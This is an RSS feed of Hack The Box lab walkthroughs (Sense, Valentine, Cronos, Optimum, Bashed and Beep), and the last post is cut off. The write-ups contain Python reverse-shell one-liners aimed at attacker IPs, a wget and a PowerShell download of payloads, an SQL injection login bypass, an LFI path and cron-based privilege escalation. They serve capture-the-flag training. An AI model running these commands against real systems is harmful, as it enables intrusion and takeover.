<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Upendra kumar Yadav on Medium]]></title>
        <description><![CDATA[Stories by Upendra kumar Yadav on Medium]]></description>
        <link>https://medium.com/@upendrak1994?source=rss-281f4090a496------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*cbR74NC6-kFXmoqQ_HEVtw.jpeg</url>
            <title>Stories by Upendra kumar Yadav on Medium</title>
            <link>https://medium.com/@upendrak1994?source=rss-281f4090a496------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 09:17:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@upendrak1994/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box — SenseWriteup w/o Metasploit]]></title>
            <link>https://medium.com/@upendrak1994/hack-the-box-sensewriteup-w-o-metasploit-23d021e3b90a?source=rss-281f4090a496------2</link>
            <guid isPermaLink="false">https://medium.com/p/23d021e3b90a</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Upendra kumar Yadav]]></dc:creator>
            <pubDate>Wed, 22 Apr 2020 18:50:11 GMT</pubDate>
            <atom:updated>2020-04-22T18:50:11.353Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — SenseWriteup w/o Metasploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/0*yQDlHayGMMgGINz7.png" /></figure><p><strong>Let’s get started!!</strong></p><h3>1.Reconnaissance:</h3><p>We will start by scanning the default port, and which services are running on those ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*P8X01bqYSmSyUyNWx3o3Ig.png" /></figure><p>After the NMAP scan, we can see <strong>Port 80 and 443 </strong>are open. let&#39;s enumerate</p><p><strong>2.Enumeration:</strong></p><p>Let’s look at the website by browsing <a href="http://10.10.10.68/">http://10.10.10.</a>60</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*Pso16KPrZaOSsDkxt6vsfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*s1i6zvTUZXpwXMhDNmQgkw.png" /></figure><p>So after running a dirbuster scan, I found <strong>system-users.txt file. </strong>let’s open in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*1Op0uHJEVPvHMLkYsSp37A.png" /></figure><p>the system-users.txt file contains a user information name called Rohit and the password: company defaults.</p><p>Let&#39;s check-in google <strong>pfsense default password.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*1u3HD_Q3FEVIrrRpfK91Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*5nmeYpo75qZG0Eyl_eI4Ng.png" /></figure><p>Here we can see the default user name is <strong>Admin</strong> and the default password is <strong>pfsense.</strong></p><p>So let&#39;s try to login with user Rohit and password pfsense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*fW2cYyDyG9rY13kZ7lz2og.png" /></figure><p>Cool, we have logged in with the user account Rohit.</p><p>Now we can do one thing, will check whether any exploit is there or not by typing below command.</p><p><strong>searchsploit pfsense</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQb7xJRWQSpZyBD7JnWgGw.png" /></figure><p>We can copy the exploit with the help of the below command.</p><blockquote><strong>searchsploit -m exploit/php/webapps/43560.py</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*idpJ4_Fv0fW_kY1W2jPkYA.png" /></figure><p>Then next we need to look into the exploit, what all requirements we need to set to get a reverse shell.</p><blockquote><strong>python 43560.py -h</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*XWLqfcwEo3O9RvYXPx947A.png" /></figure><p>We need to set below details to get a reverse shell:-</p><blockquote><strong>rhost: 10.10.10.60</strong></blockquote><blockquote><strong>lhost: 10.10.14.16</strong></blockquote><blockquote><strong>lport: 4448</strong></blockquote><blockquote><strong>username: rohit</strong></blockquote><blockquote><strong>password: pfsense</strong></blockquote><blockquote><strong>Here we got the shell!!</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LZK-Xbc4ONE7r6FYeCdySQ.png" /></figure><p>Now the next step is to get <strong>user.txt</strong> flag and <strong>root.txt </strong>flag.</p><blockquote>So you will get a user flag in the <strong>/home/rohit</strong> directory.</blockquote><blockquote>And root.txt flag you get in<strong> /root</strong> directory.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*f4wzPL6L-XJ8DReiSRNpXA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23d021e3b90a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Valentine walkthrough without Metasploit]]></title>
            <link>https://medium.com/@upendrak1994/valentine-walkthrough-without-metasploit-8af488dd1cf1?source=rss-281f4090a496------2</link>
            <guid isPermaLink="false">https://medium.com/p/8af488dd1cf1</guid>
            <category><![CDATA[hackathons]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Upendra kumar Yadav]]></dc:creator>
            <pubDate>Fri, 17 Apr 2020 19:59:36 GMT</pubDate>
            <atom:updated>2020-04-17T19:59:36.504Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i-7c1zf2pwTPgDtTiiW7zA.jpeg" /></figure><p><strong>Let’s get started!!</strong></p><h3>Reconnaissance:</h3><p>We will start by scanning the default port, and which services are running on those ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*j3uh65k4cQiKZP7Dq57JgQ.png" /></figure><p>We can see port 22,80,443 is open. I tried to exploit port 22 but it&#39;s not vulnerable. So let&#39;s try port 80 and 443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*_nszAGdl-SN7EmZGiaBR3A.png" /></figure><p><strong>Web Directory Enumeration with the help of dirb tool:</strong></p><blockquote><strong>/decode</strong></blockquote><blockquote><strong>/dev</strong></blockquote><p><strong>/encode</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*r5GG-jvUCRIQFOTRFysZlA.png" /></figure><p>Now we can see a couple of files in the <strong>dev</strong> directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*0KXFCGmVXHLcXlS_yvVfFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*yR0S60_QHHRcJAveJJS_zQ.png" /></figure><p>If we open hype_key, we see something encoded in hex format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oda-gTT8v7q2Vs7N8v68hg.png" /></figure><p>After using the online hex decode, it gives me private RSA key information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*FQ0yCmLHOaU9w8atZAJJmQ.png" /></figure><blockquote>SSL cert, was registered by <strong>valentine.htb as we can see in the below image</strong>. So we can do is to add this domain name to our host file “/etc/hosts.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*H_10hysuWcwgy0y7NN2c2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*pYK3CozEDVDpkxcPPURpcg.png" /></figure><p>Since we do have an SSL certificate, let’s see if there are any security vulnerabilities. To find the vulnerability We can use Nmap SSL scripts to check for any exploits. We can search for SSL scripts in the Nmap scripts directory using ls and filtering using grep.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*eIsHaf1AziosWXXBLjfFPQ.png" /></figure><p>After going through the scripts, we can see that this server is vulnerable to an <strong>SSL-heartbleed attack.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPrLjG8QomYbfis_99mw4g.png" /></figure><p>we can download a heartbeat python script from Github.</p><blockquote><a href="https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py"><strong>https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*r6H6cotubkRhvl2Ym5aIJw.png" /></figure><p>After running the heartbleed.py script we can see a base64 hash $text=<strong>aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==</strong>.</p><p>Let&#39;s decode through base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*hG1GSEReT-UAOcDELKquyw.png" /></figure><p>After base64 decoding, I found ‘<strong>heartbleedbelievethehype</strong>.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*x02GcBnizB8IRch7rVK0lw.png" /></figure><p>We have RSA private key “hype.key, and passphrase <strong>heartbleedbelievethehype</strong> So will try to get shell access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*wbR2rsOhy67-BPNOps5zuw.png" /></figure><p>Yes, We got the shell…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*1iK_PmVE08uVDomsLL0iCg.png" /><figcaption>USER.TXT</figcaption></figure><p><strong>Privilege escalation:</strong></p><p>Reconnaissance: During analysis, when I fire “<strong>ps aux,</strong>” cmd and saw tmux process is running as root. Incorrectly configured <strong>tmux</strong> is vulnerable for privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*uud0-lNW4bWh1bZf8x47xw.png" /></figure><blockquote><strong>When i fire below cmd and got tmux root session and the root.txt file was in root directory.</strong></blockquote><blockquote><strong>tmux -S /.devs/dev_sess</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*hryHITPwtTIdahgzXe6g4w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8af488dd1cf1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRONOS walkthrough without Metasploit:]]></title>
            <link>https://medium.com/@upendrak1994/cronos-walkthrough-without-metasploit-844c22b2594e?source=rss-281f4090a496------2</link>
            <guid isPermaLink="false">https://medium.com/p/844c22b2594e</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[Upendra kumar Yadav]]></dc:creator>
            <pubDate>Thu, 16 Apr 2020 10:19:18 GMT</pubDate>
            <atom:updated>2020-04-16T10:19:18.788Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/582/0*r9vM1UZI9KVg7-mW.png" /></figure><p><strong>Let’s get started!!</strong></p><h3>1.Reconnaissance:</h3><p>We will start by scanning the default port, and which services are running on those ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*fXJ43euqiJMDtxCoQFaXfg.png" /></figure><p>We can see Port 22,53,80 is open</p><h3>2.Enumeration:</h3><p>Let’s look at the website by browsing <a href="http://10.10.10.68/">http://10.10.10.</a>13</p><p>We can see a default Apache2 page on port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*APTanmrhGhTu7tU0A6m3ag.png" /></figure><p>I tried to find the directory but I fount nothing relevant So thought to do DNS enumeration.</p><p>So I fire nslookup command and found <strong>Cronos.htb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*BuGaGjkp14oRoEnZkIdYow.png" /></figure><p>Then I added Cronos.htb into the /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*VO6pUZ4xFamSsG0j9iE_cg.png" /></figure><p>Now we can see the Cronos web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*VBki2ws4QpTR8yEnhDCVGA.png" /></figure><p>As we have seen port 53 is open why don’t we try for zone transfer since port 53 is open and see if we can get any more information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*_QfZYcaQzeqOhnorG4YcRw.png" /></figure><blockquote>Cool, we got <strong>admin.cronos.htb</strong>, Let&#39;s open in the browser.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*IUwMXgD2SH8zvayszao98Q.png" /></figure><p>We got the admin login page, So let&#39;s try to bypass through SQL injection payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*Ezy9fSzEeanLBAFHqXwkQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*heA0pBvXEzCgBtc5VxRZyg.png" /></figure><blockquote><strong>BOOM</strong> we have logged in with the help of <strong>‘or1=’1&#39;#</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*QOyFnko9ScqwIONGXtlrGQ.png" /></figure><blockquote>We can see the page is vulnerable to <strong>command injection,</strong> So we will try to get reverse shell with the help of below python script.</blockquote><blockquote><strong>python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.19”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*OyHBo5O96O-f9QPvj1zhZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*dPV0E7qa6PmfSkJi7Ac_RA.png" /></figure><blockquote>NICE!! we got the shell , its little difficult to know in which directory now we are in.</blockquote><p>So I will fire the blow python command to know exactly in which directory we are in.</p><blockquote><strong>python -c “import pty;pty.spawn(‘/bin/bash’)”</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*E3UMVjO_4eFzvswiEfjA6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*4ny0GNk_pC-4AlQBBBjoWQ.png" /><figcaption>USER.TXT</figcaption></figure><h3>3.Privilege Escalation</h3><p>Based on the name of this htb machine, we take a look at <strong>/etc/crontab</strong>. To see which all jobs are getting executed. Here we can see something interesting. artisan file is being executed by root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*1ItQ_fA9YmM-_u_VOpc4QQ.png" /></figure><p>Next, we try to see which type of file is getting executed by root. So we ll move to the path /var/www/larvel/artisan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*DrYKO0X7ak1BWfF6BncGFg.png" /><figcaption>PHP file</figcaption></figure><p>Pulling up the permissions for artisan shows our user has access to edit the file. So let’s simply make a script to have the server download a PHP reverse shell from my host and pipe it into PHP to execute.</p><p><a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell">php-reverse-shell</a></p><p>In the Php shell, you can put your IP and port number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*mK3J6FvEDA0WfRJiibHbWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*0XQGYTlSqZjhqnmjEI7nrw.png" /></figure><p>We have PHP shell in the kali but we have to move that file into the target system So by simply typing the below cmd we can download a file from kali.</p><blockquote><strong>python -m SimpleHTTPServer 8090</strong> listening from kali.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*8Ez1drAmmKyDFTsEIDF2yQ.png" /></figure><blockquote>Now we can fire <strong>wget </strong><a href="http://10.10.14.19:8090/php-reverse-shell.php"><strong>http://10.10.14.19:8090/php-reverse-shell.php</strong></a> to download the PHP shell from kali.after download we need to copy PHP shell into artisan. and listen with the help of below cmd . Every second the file is being executed by root so we ll wait for some time to get the shell access.</blockquote><p>nc -lvp 1234</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*gzdhKef0Q8rkBaVr-PiUyA.png" /><figcaption>ROOT.txt</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=844c22b2594e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Optimum HTB walkthrough without Metasploit]]></title>
            <link>https://medium.com/@upendrak1994/optimum-htb-walkthrough-without-metasploit-9622641424d0?source=rss-281f4090a496------2</link>
            <guid isPermaLink="false">https://medium.com/p/9622641424d0</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Upendra kumar Yadav]]></dc:creator>
            <pubDate>Sun, 12 Apr 2020 09:45:51 GMT</pubDate>
            <atom:updated>2020-04-12T09:45:51.617Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*FUofh6OdB5uC3eVGdxBa0Q.png" /></figure><p><strong>Let’s get started!!</strong></p><h3>1.Reconnaissance:</h3><p>We will start by scanning the default port, and which services are running on those ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*TpHgbACZmzoF3KC5clG0KQ.png" /></figure><p>Here we can see port 80 is open and apache httpd version.</p><h3>2.Enumeration:</h3><p>Let’s look at the <strong>httpFileServer</strong> by entering the IP address <a href="http://10.10.10.68/">http://10.10.10.</a>8 in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*o0Oa6abyAgE_CXFnG3vUSQ.png" /></figure><p>We can see at the bottom of the page the server disclosure. We have an <strong>HttpFileServer 2.3. let&#39;s google it</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*XNrHr3v-0bIrso0gtZtAPg.png" /></figure><p><a href="https://www.exploit-db.com/exploits/39161">OffSec&#39;s Exploit Database Archive</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ze3LUCwJ5CrqUrlGSRb-rA.png" /></figure><p>Now I have downloaded the exploit <strong>39161.py</strong></p><p>next you can change the IP by fire the cmd. vi 39161.py and give your IP and PORT no.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5lgZjajxNrZI87pNDI-RA.png" /></figure><p>To exploit RCE we need nc.exe to be reachable in our web server. Let&#39;s fire out our listener, and copy over the executable to the required location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*bFpaxVUyua4PwaCw3Pf_nA.png" /></figure><p>BOOM!! We got the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hpd-lR2sIbOZKzoP80y4IA.png" /><figcaption>Reverse shell.</figcaption></figure><p>Next, we will look for the user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*cZmgA0SoE9W9MoIuubF1Hg.png" /><figcaption>User.txt</figcaption></figure><p>Now I am trying to access the Administrator folder but I don&#39;t have permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*dvQx4_sHcLArjfbcKIykfA.png" /></figure><p>Next, I will run <a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester"><strong>Windows-Exploit-Suggester</strong></a> tool:</p><p>This tool compares a target patch level against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.</p><p>It requires the<strong> ‘systeminfo</strong>’ command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.</p><p><a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester">GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.</a></p><h3>3.Privilege Escalation</h3><p>Windows Exploit suggester has given some great suggestions, now been can fire the below cmd in the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Cj7dbjwrmgHdWVO8i2BXDg.png" /></figure><blockquote><strong>https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6uU3PB6peB8T-XQu8DRRQ.png" /></figure><p>Run the below PowerShell cmd in the shell which we got.</p><blockquote><strong>PowerShell -c “(new-object System.Net.WebClient).DownloadFile(‘</strong><a href="http://10.10.14.19/41020.exe&#39;"><strong>http://10.10.14.19/41020.exe&#39;</strong></a><strong>, ‘c:\Users\Public\Downloads\41020.exe’)”</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*BOWCyqoZuKUqBhq_sTNv1w.png" /></figure><p>Once we have downloaded an exploit binary with the help of PowerShell, we can check by looking at the path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*zkq6vWgyWeKwgHjmV32NxQ.png" /></figure><p>Here we can see the binary is fetched from our server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*Bub1payh6gnUeKNsn7vbAA.png" /></figure><p>Once you we have executed the binary we can see the <strong>privileges has been changed </strong>and <strong>got Administrator-level access</strong> with the help of <strong>WHOAMI cmd</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*b6b2e2NtIK-_popQtpP-QQ.png" /></figure><p>And Finally, here we can see there is a ROOT Flag !!!!.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9622641424d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bashed HTB walkthrough without Metasploit]]></title>
            <link>https://medium.com/@upendrak1994/bashed-htb-walkthrough-without-metasploit-756077c4bf68?source=rss-281f4090a496------2</link>
            <guid isPermaLink="false">https://medium.com/p/756077c4bf68</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[Upendra kumar Yadav]]></dc:creator>
            <pubDate>Sun, 05 Apr 2020 12:15:27 GMT</pubDate>
            <atom:updated>2020-04-05T12:15:27.915Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*-mZtq9WX_ShKtMjju5AA7w.png" /></figure><p>Let&#39;s get started!!</p><h3>1.Reconnaissance:</h3><p>We will start by scanning the default port, and which services are running on those ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*umvSS2I1Ub1gE62cs1BUWg.png" /></figure><p>Here we can see port 80 is open and apache httpd version.</p><h3>2.Enumeration:</h3><p>Let&#39;s look at the website by typing <a href="http://10.10.10.68/">http://10.10.10.68</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*U_cXAMcb77k5XVdhLv3ZPg.png" /></figure><p>Nothing special to see here lets brute force the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*-kpk0zQAWc6s4wWY4kI7ow.png" /></figure><p>We have got some directory lets check one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*Kvo6-EfwOZ8TYGd3d-yizQ.png" /><figcaption>Well, that&#39;s nice seems like we got the shell.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*DvDj0_SkB13WP5p5YNTAFw.png" /></figure><p>Let&#39;s go to upload directory and see if we can get a reverse shell.</p><p>Go to uploads directory and Just put the below python reverse shell script and</p><blockquote>echo ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.7”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ &gt; upen.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*k4K3WT5KtM1PKu54hqfudw.png" /></figure><p>parallelly open a new terminal and listen on nc -lnvp 6666.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*7cDhYlCVgnBReEf8w9GHDQ.png" /><figcaption>We got the reverse shell.</figcaption></figure><p>now upgrade to fully pty. just type below cmd.</p><p>python -c “import pty;pty.spawn(‘/bin/bash’)”</p><p>Let&#39;s find the flag:</p><p>step 1. go to home directory — cd /home</p><p>step 2. now you can see arrexel and scriptmanger.</p><p>step 3. go to arrexel directory — cd /arrexel</p><p>step 4. BOOM, here we got user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*8X8-TM089c9X_YJ7kIz75w.png" /><figcaption>user.txt</figcaption></figure><h3>Privilege Escalation</h3><p>When I tried to access scriptmanager folder got alert no such file or directory.</p><p>Then I checked sudo permission and found there is no password for sudo user.</p><blockquote>sudo -u scriptmanager bash</blockquote><p>Now I am in scriptmanager directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*yywp3exzFFzj2OnoVboraQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*NjUQIRQ9dxSJCXS5BZ_hZw.png" /></figure><p>when I did ls -lah I found that everything owned by root expect scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*5GGcXh0SQfL13FtqXVzz5g.png" /></figure><p>Seems script in this folder gets executed by root cronjob.</p><p><strong>step 1.</strong> let&#39;s create python reverse shell scripts.</p><p><strong>step 2.</strong></p><blockquote>import socket,subprocess,os<br>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((“10.10.14.7”,5555))<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1)<br>os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);</blockquote><p><strong>step 3</strong>. save as test.py</p><p><strong>step 4.</strong> Change the file permission to rwx for everyone.</p><p>chmod 777 test.py</p><p><strong>step 5</strong>. In the same directory run the below command.</p><blockquote>python -m SimpleHTTPServer 80</blockquote><p><strong>step 6</strong>. In the target system, scripts directory download the test.py with the help of below cmd.</p><blockquote>wget <a href="http://10.10.14.7/root.py">http://10.10.14.7:80/test.py</a></blockquote><p>and set up a listener at 5555 using</p><blockquote>nc -nlvp 5555</blockquote><p><strong>step 7.</strong> Now, go back to your attack (kali) vm and wait until the cron job won’t load your file test.py and give you shell back wait few minutes.</p><blockquote>Now you own the root access !!!!!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=756077c4bf68" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB WalkThrough without Metasploit-[Beep]]]></title>
            <link>https://medium.com/@upendrak1994/htb-walkthrough-without-metasploit-beep-8b34eec24d39?source=rss-281f4090a496------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b34eec24d39</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[beep]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Upendra kumar Yadav]]></dc:creator>
            <pubDate>Wed, 01 Apr 2020 07:34:34 GMT</pubDate>
            <atom:updated>2020-04-01T07:34:34.755Z</atom:updated>
            <content:encoded><![CDATA[<p>Easiest ever on hackthebox which we are going to see all form the basics so let&#39;s start the journey.</p><p>Machine IP: 10.10.10.7</p><p>so scanning the ports with Nmap we get the following results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6QM3doPNOjO01_sIYI8ow.png" /></figure><p>above results of Nmap show us the following ports are open and available.</p><p>HTTP — 80</p><p>HTTPS — 443</p><p>SSH — 22</p><p>SMTP — 25</p><p>MySQL — 3386</p><p>so looking towards HTTP service lets check and open it in the browser-</p><p><a href="http://10.10.10.7/">https://10.10.10.7</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*4R9WlhQuBKXWckh6E29znw.png" /></figure><p>doing google about the elastix login panel we can see an exploit available for it having a LFI vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_z79sJ6o70kTnN-6xOQiZg.png" /></figure><p><a href="https://www.exploit-db.com/exploits/37637">Offensive Security&#39;s Exploit Database Archive</a></p><p>#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&amp;module=Accounts&amp;action</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5SQXGvgxhl2SYmLzHT-FQ.png" /></figure><p>so here to beautify the source code in the readable format we will simply right click and view for the source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92WYt8qv6SKfMFk9RF8zZw.png" /></figure><p>here we are getting the credentials for the user ADMIN.<br>using the above credentials we will try to login and see if we get access to elastix panel or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1C2gLyLc5L_ctwFcyAptg.png" /></figure><p>now we have admin access why not to try the credentials for the SSH and see if we can get access or not.</p><figure><img alt="" 